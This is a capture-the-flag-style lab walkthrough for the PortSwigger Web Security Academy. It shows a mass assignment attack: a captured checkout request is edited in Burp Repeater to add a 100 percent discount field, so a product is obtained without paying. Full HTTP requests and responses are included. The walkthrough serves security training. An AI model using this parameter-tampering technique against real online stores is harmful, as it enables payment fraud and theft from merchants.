Lab: Exploiting a mass assignment vulnerability

After starting the exercise, log in to the application with the user name wiener and the password peter. You can access the login form by clicking on the link My account.

Enter your username and password in the login form and click on the Log in button.

After successfully logging in, we see our user account within the application. We now go to the shop by clicking on the Home link.

In the shop, we search for the product Lightweight ‘l33t’ Leather Jacket. This should usually be the first product in the shop. We click on the View details button to go to the product description.

If we scroll down in the product description, we see the Add to cart button. We click this to add the product to our shopping cart.

We get to the shopping basket by clicking on the shopping basket symbol.

In the shopping cart, click on the Place order button to complete the order.

We receive the message ‘Not enough store credit for this purchase’. This means that we cannot afford this product.

Now let's open the HTTP history tab in Burp Proxy and search for the two requests GET /api/checkout and POST /api/checkout. If we take a closer look at these two requests, we can see that the response to the GET request (GET /api/checkout) is the body of the POST request (POST /api/checkout). The two requests and their responses are listed below.

Request: GET /api/checkout

GET /api/checkout HTTP/2
Host: 0afd009803909341800ad527009e00f0.web-security-academy.net
Cookie: session=kyUKFUNvwLv3bXeGbszCdkGwNbcwPLS6
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afd009803909341800ad527009e00f0.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

Response: GET /api/checkout

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 153

{
	"chosen_discount":{
		"percentage":0
	},
	"chosen_products":[
		{
			"product_id":"1",
			"name":"Lightweight \"l33t\" Leather Jacket",
			"quantity":1,
			"item_price":133700
		}
	]
}

Request: POST /api/checkout

POST /api/checkout HTTP/2
Host: 0afd009803909341800ad527009e00f0.web-security-academy.net
Cookie: session=kyUKFUNvwLv3bXeGbszCdkGwNbcwPLS6
Content-Length: 53
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0afd009803909341800ad527009e00f0.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afd009803909341800ad527009e00f0.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
	"chosen_products":[
		{
			"product_id":"1",
			"quantity":1
		}
	]
}

Response: POST /api/checkout

HTTP/2 201 Created
Location: /cart?err=INSUFFICIENT_FUNDS
X-Frame-Options: SAMEORIGIN
Content-Length: 0

We send the request POST /api/checkout to the Burp Repeater. To do this, we move the mouse over the request and press the right mouse button. In the context menu, we select the option Send to Repeater.

In the repeater, we add the parameter chosen_discount to our request. It should now look like this (lines 21 and 22).

POST /api/checkout HTTP/2
Host: 0afd009803909341800ad527009e00f0.web-security-academy.net
Cookie: session=kyUKFUNvwLv3bXeGbszCdkGwNbcwPLS6
Content-Length: 53
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0afd009803909341800ad527009e00f0.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afd009803909341800ad527009e00f0.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
	"chosen_discount":{
		"percentage":0
	},
	"chosen_products":[
		{
			"product_id":"1",
			"quantity":1
		}
	]
}

When we send this request, we receive the same message as before. So there seems to be no problem with the chosen_discount parameter in our request.

HTTP/2 201 Created
Location: /cart?err=INSUFFICIENT_FUNDS
X-Frame-Options: SAMEORIGIN
Content-Length: 0

If we change the value of the parameter chosen_discount to x and send the request, we receive the response HTTP/2 400 Bad Request. This tells us that x is not a valid character (line 9).

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 77

{
	"error":
	"Unexpected \"x}\" from [line 2, column 33] to [line 2, column 34]"
}

Now we enter 100 as the value for the parameter chosen_discount, because we want to receive the product Lightweight ‘l33t’ Leather Jacket for free. The request should now look like this.

POST /api/checkout HTTP/2
Host: 0afd009803909341800ad527009e00f0.web-security-academy.net
Cookie: session=kyUKFUNvwLv3bXeGbszCdkGwNbcwPLS6
Content-Length: 90
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0afd009803909341800ad527009e00f0.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afd009803909341800ad527009e00f0.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
	"chosen_discount":{
		"percentage":100
	},
	"chosen_products":[
		{
			"product_id":"1",
			"quantity":1
		}
	]
}

We now send the request and have successfully completed the exercise.

Video solution

Last updated